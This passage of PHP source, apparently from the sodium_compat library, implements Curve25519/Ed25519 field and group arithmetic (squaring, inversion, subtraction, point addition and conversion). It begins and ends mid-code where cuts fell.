26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ) ); } /** * Get the negative values for each piece of the field element. * * h = -f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment */ public static function fe_neg(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $h = new ParagonIE_Sodium_Core_Curve25519_Fe(); for ($i = 0; $i < 10; ++$i) { $h[$i] = -$f[$i]; } return self::fe_normalize($h); } /** * Square a field element * * h = f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_sq(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $f = self::fe_normalize($f); $f0 = (int) $f[0]; $f1 = (int) $f[1]; $f2 = (int) $f[2]; $f3 = (int) $f[3]; $f4 = (int) $f[4]; $f5 = (int) $f[5]; $f6 = (int) $f[6]; $f7 = (int) $f[7]; $f8 = (int) $f[8]; $f9 = (int) $f[9]; $f0_2 = $f0 << 1; $f1_2 = $f1 << 1; $f2_2 = $f2 << 1; $f3_2 = $f3 << 1; $f4_2 = $f4 << 1; $f5_2 = $f5 << 1; $f6_2 = $f6 << 1; $f7_2 = $f7 << 1; $f5_38 = self::mul($f5, 38, 6); $f6_19 = self::mul($f6, 19, 5); $f7_38 = self::mul($f7, 38, 6); $f8_19 = self::mul($f8, 19, 5); $f9_38 = self::mul($f9, 38, 6); $f0f0 = self::mul($f0, $f0, 26); $f0f1_2 = self::mul($f0_2, $f1, 26); $f0f2_2 = self::mul($f0_2, $f2, 26); $f0f3_2 = self::mul($f0_2, $f3, 26); $f0f4_2 = self::mul($f0_2, $f4, 26); $f0f5_2 = self::mul($f0_2, $f5, 26); $f0f6_2 = self::mul($f0_2, $f6, 26); $f0f7_2 = self::mul($f0_2, $f7, 26); $f0f8_2 = self::mul($f0_2, $f8, 26); $f0f9_2 = self::mul($f0_2, $f9, 26); $f1f1_2 = self::mul($f1_2, $f1, 26); $f1f2_2 = self::mul($f1_2, $f2, 26); $f1f3_4 = self::mul($f1_2, $f3_2, 26); $f1f4_2 = self::mul($f1_2, $f4, 26); $f1f5_4 = self::mul($f1_2, $f5_2, 26); $f1f6_2 = self::mul($f1_2, $f6, 26); $f1f7_4 = self::mul($f1_2, $f7_2, 26); $f1f8_2 = self::mul($f1_2, $f8, 26); $f1f9_76 = self::mul($f9_38, $f1_2, 27); $f2f2 = self::mul($f2, $f2, 27); $f2f3_2 = self::mul($f2_2, $f3, 27); $f2f4_2 = self::mul($f2_2, $f4, 27); $f2f5_2 = self::mul($f2_2, $f5, 27); $f2f6_2 = self::mul($f2_2, $f6, 27); $f2f7_2 = self::mul($f2_2, $f7, 27); $f2f8_38 = self::mul($f8_19, $f2_2, 27); $f2f9_38 = self::mul($f9_38, $f2, 26); $f3f3_2 = self::mul($f3_2, $f3, 26); $f3f4_2 = self::mul($f3_2, $f4, 26); $f3f5_4 = self::mul($f3_2, $f5_2, 26); $f3f6_2 = self::mul($f3_2, $f6, 26); $f3f7_76 = self::mul($f7_38, $f3_2, 26); $f3f8_38 = self::mul($f8_19, $f3_2, 26); $f3f9_76 = self::mul($f9_38, $f3_2, 26); $f4f4 = self::mul($f4, $f4, 26); $f4f5_2 = self::mul($f4_2, $f5, 26); $f4f6_38 = self::mul($f6_19, $f4_2, 27); $f4f7_38 = self::mul($f7_38, $f4, 26); $f4f8_38 = self::mul($f8_19, $f4_2, 27); $f4f9_38 = self::mul($f9_38, $f4, 26); $f5f5_38 = self::mul($f5_38, $f5, 26); $f5f6_38 = self::mul($f6_19, $f5_2, 26); $f5f7_76 = self::mul($f7_38, $f5_2, 26); $f5f8_38 = self::mul($f8_19, $f5_2, 26); $f5f9_76 = self::mul($f9_38, $f5_2, 26); $f6f6_19 = self::mul($f6_19, $f6, 26); $f6f7_38 = self::mul($f7_38, $f6, 26); $f6f8_38 = self::mul($f8_19, $f6_2, 27); $f6f9_38 = self::mul($f9_38, $f6, 26); $f7f7_38 = self::mul($f7_38, $f7, 26); $f7f8_38 = self::mul($f8_19, $f7_2, 26); $f7f9_76 = self::mul($f9_38, $f7_2, 26); $f8f8_19 = self::mul($f8_19, $f8, 26); $f8f9_38 = self::mul($f9_38, $f8, 26); $f9f9_38 = self::mul($f9_38, $f9, 26); $h0 = $f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38; $h1 = $f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38; $h2 = $f0f2_2 + $f1f1_2 + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19; $h3 = $f0f3_2 + $f1f2_2 + $f4f9_38 + $f5f8_38 + $f6f7_38; $h4 = $f0f4_2 + $f1f3_4 + $f2f2 + $f5f9_76 + $f6f8_38 + $f7f7_38; $h5 = $f0f5_2 + $f1f4_2 + $f2f3_2 + $f6f9_38 + $f7f8_38; $h6 = $f0f6_2 + $f1f5_4 + $f2f4_2 + $f3f3_2 + $f7f9_76 + $f8f8_19; $h7 = $f0f7_2 + $f1f6_2 + $f2f5_2 + $f3f4_2 + $f8f9_38; $h8 = $f0f8_2 + $f1f7_4 + $f2f6_2 + $f3f5_4 + $f4f4 + $f9f9_38; $h9 = $f0f9_2 + $f1f8_2 + $f2f7_2 + $f3f6_2 + $f4f5_2; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ) ); } /** * Square and double a field element * * h = 2 * f * f * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_sq2(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $f = self::fe_normalize($f); $f0 = (int) $f[0]; $f1 = (int) $f[1]; $f2 = (int) $f[2]; $f3 = (int) $f[3]; $f4 = (int) $f[4]; $f5 = (int) $f[5]; $f6 = (int) $f[6]; $f7 = (int) $f[7]; $f8 = (int) $f[8]; $f9 = (int) $f[9]; $f0_2 = $f0 << 1; $f1_2 = $f1 << 1; $f2_2 = $f2 << 1; $f3_2 = $f3 << 1; $f4_2 = $f4 << 1; $f5_2 = $f5 << 1; $f6_2 = $f6 << 1; $f7_2 = $f7 << 1; $f5_38 = self::mul($f5, 38, 6); /* 1.959375*2^30 */ $f6_19 = self::mul($f6, 19, 5); /* 1.959375*2^30 */ $f7_38 = self::mul($f7, 38, 6); /* 1.959375*2^30 */ $f8_19 = self::mul($f8, 19, 5); /* 1.959375*2^30 */ $f9_38 = self::mul($f9, 38, 6); /* 1.959375*2^30 */ $f0f0 = self::mul($f0, $f0, 24); $f0f1_2 = self::mul($f0_2, $f1, 24); $f0f2_2 = self::mul($f0_2, $f2, 24); $f0f3_2 = self::mul($f0_2, $f3, 24); $f0f4_2 = self::mul($f0_2, $f4, 24); $f0f5_2 = self::mul($f0_2, $f5, 24); $f0f6_2 = self::mul($f0_2, $f6, 24); $f0f7_2 = self::mul($f0_2, $f7, 24); $f0f8_2 = self::mul($f0_2, $f8, 24); $f0f9_2 = self::mul($f0_2, $f9, 24); $f1f1_2 = self::mul($f1_2, $f1, 24); $f1f2_2 = self::mul($f1_2, $f2, 24); $f1f3_4 = self::mul($f1_2, $f3_2, 24); $f1f4_2 = self::mul($f1_2, $f4, 24); $f1f5_4 = self::mul($f1_2, $f5_2, 24); $f1f6_2 = self::mul($f1_2, $f6, 24); $f1f7_4 = self::mul($f1_2, $f7_2, 24); $f1f8_2 = self::mul($f1_2, $f8, 24); $f1f9_76 = self::mul($f9_38, $f1_2, 24); $f2f2 = self::mul($f2, $f2, 24); $f2f3_2 = self::mul($f2_2, $f3, 24); $f2f4_2 = self::mul($f2_2, $f4, 24); $f2f5_2 = self::mul($f2_2, $f5, 24); $f2f6_2 = self::mul($f2_2, $f6, 24); $f2f7_2 = self::mul($f2_2, $f7, 24); $f2f8_38 = self::mul($f8_19, $f2_2, 25); $f2f9_38 = self::mul($f9_38, $f2, 24); $f3f3_2 = self::mul($f3_2, $f3, 24); $f3f4_2 = self::mul($f3_2, $f4, 24); $f3f5_4 = self::mul($f3_2, $f5_2, 24); $f3f6_2 = self::mul($f3_2, $f6, 24); $f3f7_76 = self::mul($f7_38, $f3_2, 24); $f3f8_38 = self::mul($f8_19, $f3_2, 24); $f3f9_76 = self::mul($f9_38, $f3_2, 24); $f4f4 = self::mul($f4, $f4, 24); $f4f5_2 = self::mul($f4_2, $f5, 24); $f4f6_38 = self::mul($f6_19, $f4_2, 25); $f4f7_38 = self::mul($f7_38, $f4, 24); $f4f8_38 = self::mul($f8_19, $f4_2, 25); $f4f9_38 = self::mul($f9_38, $f4, 24); $f5f5_38 = self::mul($f5_38, $f5, 24); $f5f6_38 = self::mul($f6_19, $f5_2, 24); $f5f7_76 = self::mul($f7_38, $f5_2, 24); $f5f8_38 = self::mul($f8_19, $f5_2, 24); $f5f9_76 = self::mul($f9_38, $f5_2, 24); $f6f6_19 = self::mul($f6_19, $f6, 24); $f6f7_38 = self::mul($f7_38, $f6, 24); $f6f8_38 = self::mul($f8_19, $f6_2, 25); $f6f9_38 = self::mul($f9_38, $f6, 24); $f7f7_38 = self::mul($f7_38, $f7, 24); $f7f8_38 = self::mul($f8_19, $f7_2, 24); $f7f9_76 = self::mul($f9_38, $f7_2, 24); $f8f8_19 = self::mul($f8_19, $f8, 24); $f8f9_38 = self::mul($f9_38, $f8, 24); $f9f9_38 = self::mul($f9_38, $f9, 24); $h0 = (int) ($f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38) << 1; $h1 = (int) ($f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38) << 1; $h2 = (int) ($f0f2_2 + $f1f1_2 + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19) << 1; $h3 = (int) ($f0f3_2 + $f1f2_2 + $f4f9_38 + $f5f8_38 + $f6f7_38) << 1; $h4 = (int) ($f0f4_2 + $f1f3_4 + $f2f2 + $f5f9_76 + $f6f8_38 + $f7f7_38) << 1; $h5 = (int) ($f0f5_2 + $f1f4_2 + $f2f3_2 + $f6f9_38 + $f7f8_38) << 1; $h6 = (int) ($f0f6_2 + $f1f5_4 + $f2f4_2 + $f3f3_2 + $f7f9_76 + $f8f8_19) << 1; $h7 = (int) ($f0f7_2 + $f1f6_2 + $f2f5_2 + $f3f4_2 + $f8f9_38) << 1; $h8 = (int) ($f0f8_2 + $f1f7_4 + $f2f6_2 + $f3f5_4 + $f4f4 + $f9f9_38) << 1; $h9 = (int) ($f0f9_2 + $f1f8_2 + $f2f7_2 + $f3f6_2 + $f4f5_2) << 1; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $Z * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_invert(ParagonIE_Sodium_Core_Curve25519_Fe $Z) { $z = clone $Z; $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t2 = self::fe_sq($t0); $t1 = self::fe_mul($t1, $t2); $t2 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 20; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 100; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } return self::fe_mul($t1, $t0); } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106 * * @param ParagonIE_Sodium_Core_Curve25519_Fe $z * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_pow22523(ParagonIE_Sodium_Core_Curve25519_Fe $z) { $z = self::fe_normalize($z); # fe_sq(t0, z); # fe_sq(t1, t0); # fe_sq(t1, t1); # fe_mul(t1, z, t1); # fe_mul(t0, t0, t1); # fe_sq(t0, t0); # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t0 = self::fe_sq($t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 5; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 20; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 20; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 100; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 100; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t0, t0); # fe_sq(t0, t0); # fe_mul(out, t0, z); $t0 = self::fe_mul($t1, $t0); $t0 = self::fe_sq($t0); $t0 = self::fe_sq($t0); return self::fe_mul($t0, $z); } /** * Subtract two field elements. * * h = f - g * * Preconditions: * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * * Postconditions: * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedOperand */ public static function fe_sub(ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g) { return self::fe_normalize( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) ($f[0] - $g[0]), (int) ($f[1] - $g[1]), (int) ($f[2] - $g[2]), (int) ($f[3] - $g[3]), (int) ($f[4] - $g[4]), (int) ($f[5] - $g[5]), (int) ($f[6] - $g[6]), (int) ($f[7] - $g[7]), (int) ($f[8] - $g[8]), (int) ($f[9] - $g[9]) ) ) ); } /** * Add two group elements. * * r = p + q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_add( ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YplusX); $r->Y = self::fe_mul($r->Y, $q->YminusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215 * @param string $a * @return array * @throws SodiumException * @throws TypeError */ public static function slide($a) { if (self::strlen($a) < 256) { if (self::strlen($a) < 16) { $a = str_pad($a, 256, '0', STR_PAD_RIGHT); } } /** @var array $r */ $r = array(); /** @var int $i */ for ($i = 0; $i < 256; ++$i) { $r[$i] = (int) ( 1 & ( self::chrToInt($a[(int) ($i >> 3)]) >> ($i & 7) ) ); } for ($i = 0;$i < 256;++$i) { if ($r[$i]) { for ($b = 1;$b <= 6 && $i + $b < 256;++$b) { if ($r[$i + $b]) { if ($r[$i] + ($r[$i + $b] << $b) <= 15) { $r[$i] += $r[$i + $b] << $b; $r[$i + $b] = 0; } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) { $r[$i] -= $r[$i + $b] << $b; for ($k = $i + $b; $k < 256; ++$k) { if (!$r[$k]) { $r[$k] = 1; break; } $r[$k] = 0; } } else { break; } } } } } return $r; } /** * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_frombytes_negate_vartime($s) { static $d = null; if (!$d) { $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d); } # fe_frombytes(h->Y,s); # fe_1(h->Z); $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_0(), self::fe_frombytes($s), self::fe_1() ); # fe_sq(u,h->Y); # fe_mul(v,u,d); # fe_sub(u,u,h->Z); /* u = y^2-1 */ # fe_add(v,v,h->Z); /* v = dy^2+1 */ $u = self::fe_sq($h->Y); /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d */ $v = self::fe_mul($u, $d); $u = self::fe_sub($u, $h->Z); /* u = y^2 - 1 */ $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */ # fe_sq(v3,v); # fe_mul(v3,v3,v); /* v3 = v^3 */ # fe_sq(h->X,v3); # fe_mul(h->X,h->X,v); # fe_mul(h->X,h->X,u); /* x = uv^7 */ $v3 = self::fe_sq($v); $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */ $h->X = self::fe_sq($v3); $h->X = self::fe_mul($h->X, $v); $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */ # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */ # fe_mul(h->X,h->X,v3); # fe_mul(h->X,h->X,u); /* x = uv^3(uv^7)^((q-5)/8) */ $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */ $h->X = self::fe_mul($h->X, $v3); $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */ # fe_sq(vxx,h->X); # fe_mul(vxx,vxx,v); # fe_sub(check,vxx,u); /* vx^2-u */ $vxx = self::fe_sq($h->X); $vxx = self::fe_mul($vxx, $v); $check = self::fe_sub($vxx, $u); /* vx^2 - u */ # if (fe_isnonzero(check)) { # fe_add(check,vxx,u); /* vx^2+u */ # if (fe_isnonzero(check)) { # return -1; # } # fe_mul(h->X,h->X,sqrtm1); # } if (self::fe_isnonzero($check)) { $check = self::fe_add($vxx, $u); /* vx^2 + u */ if (self::fe_isnonzero($check)) { throw new RangeException('Internal check failed.'); } $h->X = self::fe_mul( $h->X, ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1) ); } # if (fe_isnegative(h->X) == (s[31] >> 7)) { # fe_neg(h->X,h->X); # } $i = self::chrToInt($s[31]); if (self::fe_isnegative($h->X) === ($i >> 7)) { $h->X = self::fe_neg($h->X); } # fe_mul(h->T,h->X,h->Y); $h->T = self::fe_mul($h->X, $h->Y); return $h; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_madd( ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yplusx); $r->Y = self::fe_mul($r->Y, $q->yminusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add(clone $p->Z, clone $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_msub( ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yminusx); $r->Y = self::fe_mul($r->Y, $q->yplusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add($p->Z, $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P2(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); $r->T = self::fe_mul($p->X, $p->Y); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p2_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_P2( self::fe_0(), self::fe_1(), self::fe_1() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_p2_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_sq($p->X); $r->Z = self::fe_sq($p->Y); $r->T = self::fe_sq2($p->Z); $r->Y = self::fe_add($p->X, $p->Y); $t0 = self::fe_sq($r->Y); $r->Y = self::fe_add($r->Z, $r->X); $r->Z = self::fe_sub($r->Z, $r->X); $r->X = self::fe_sub($t0, $r->Y); $r->T = self::fe_sub($r->T, $r->Z); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_p3_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_0(), self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached */ public static function ge_p3_to_cached(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { static $d2 = null; if ($d2 === null) { $d2 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d2); } /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d2 */ $r = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(); $r->YplusX = self::fe_add($p->Y, $p->X); $r->YminusX = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_copy($p->Z); $r->T2d = self::fe_mul($p->T, $d2); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p3_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { return new 